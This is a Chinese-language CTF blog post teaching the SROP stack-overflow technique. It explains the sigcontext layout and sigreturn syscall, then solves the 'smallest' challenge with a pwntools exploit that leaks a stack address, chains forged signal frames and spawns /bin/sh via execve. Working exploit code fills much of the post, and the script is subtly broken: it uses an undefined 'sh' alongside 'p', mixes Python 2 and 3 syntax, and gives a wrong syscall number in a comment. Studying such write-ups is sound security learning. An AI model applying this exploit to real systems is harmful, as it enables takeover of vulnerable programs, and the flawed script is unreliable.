0%

高级栈溢出——SROP

高级栈溢出——SROP

查漏补缺233333

SROP

Sigreturn Oriented Programming

其中Unix-like system处理信号量的机制主要步骤分为如下:

当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1)
然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2)
当signal handler返回之后(3)
内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)

ucontext

伪造时需要注意:esp,ebp和es,gs等段寄存器不可直接设置为0

保存上下文时保存的内容叫ucontext,具体对应如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
struct sigcontext	//x86
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};

////////////////////////////////////////////////
struct _fpstate //x64
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};

struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};

syscall

具体利用时需要的是调用sigreturn系统调用

1
2
3
4
5
6
/*for x86*/
mov eax,0x77
int 80h
/*for x86_64*/
mov rax,0xf
syscall

利用原理:

  • Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
  • 由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

比如当我们执行sigreturn系统调用之前栈布局是如下情况的话,当系统执行完 sigreturn 系统调用之后,会执行一系列的 pop 指令以便于恢复相应寄存器的值,当执行到 rip 时,就会将程序执行流指向 syscall 地址,根据相应寄存器的值,此时,便会得到一个 shell

image-20200406192003998

链式利用原理:

  • 控制栈指针。
  • 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。

如下图所示 ,这样当每次 syscall 返回的时候,栈指针都会指向下一个 Signal Frame。因此就可以执行一系列的 sigreturn 函数调用

image-20200406192224800

利用条件

  1. 程序存在栈溢出漏洞
  2. 知道栈地址或者可以知道需要使用字符串的地址等
  3. 知道sigreturn的地址
  4. 知道syscall的地址或者syscall gadget地址

smallest

原理看上去挺好理解,还是直接实操吧

image-20200406194252445

程序没有canary和PIE保护

具体的程序就这么几行汇编代码:

1
2
3
4
5
6
xor     rax, rax
mov edx, 400h ; count
mov rsi, rsp ; buf
mov rdi, rax ; fd
syscall ; LINUX - sys_read
retn

然后加载进程序的时候只有这么几个寄存器被操作了,其余值均为0(Ubuntu16.04)

直接从rsp处读取了0x400个字节的栈内容,其中最主要还是需要知道怎么来构造出sigreturn的syscall操作

这里通过一个exp来学习一下:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'smallest' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\x00'))
my_u32 = lambda x: u32(x.ljust(4, '\x00'))
global_max_fast=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

# todo here
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
payload = p64(start_addr) * 3
p.send(payload)

## modify the return addr to start_addr+3
## so that skip the xor rax,rax; After read rax=1
## get stack addr
sh.send('\xb3') # 这一步很巧妙,只读了一个字节绕过 xor rax,rax 刚好把rax设置成1用于write leak栈地址
stack_addr = u64(sh.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read # constans直接获取SYS_read的系统调用号,这里为什么要通过sigframe链式利用stack_addr可能是因为这样比较好设置/bin/sh的偏移,直接通过leak到的地址来设置
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe) #先设置好sigframe,然后跳到start再读取一次
sh.send(payload)

# set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7 #这里相当于把前一步的aaaaaaaa(返回地址处)填充成p64(syscall_ret),然后把rax设置成0x15,直接调用syscall,就会用到我们的sigframe,这7个b似乎没有影响
#调用完之后会直接按照sigframe执行 read(0,stack_addr,0x400)
sh.send(sigreturn) # 这个时候就会直接往leak的stack_addr处读取0x400个字节,sigframe的长度是0x98

# call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret

frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
sh.send(sigreturn)
sh.interactive()


p.interactive()

参考链接:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop

http://www.reshahar.com/2017/05/04/360%E6%98%A5%E7%A7%8B%E6%9D%AFsmallest-pwn%E7%9A%84%E5%AD%A6%E4%B9%A0%E4%B8%8E%E5%88%A9%E7%94%A8/

https://www.anquanke.com/post/id/85810

https://www.freebuf.com/articles/network/87447.html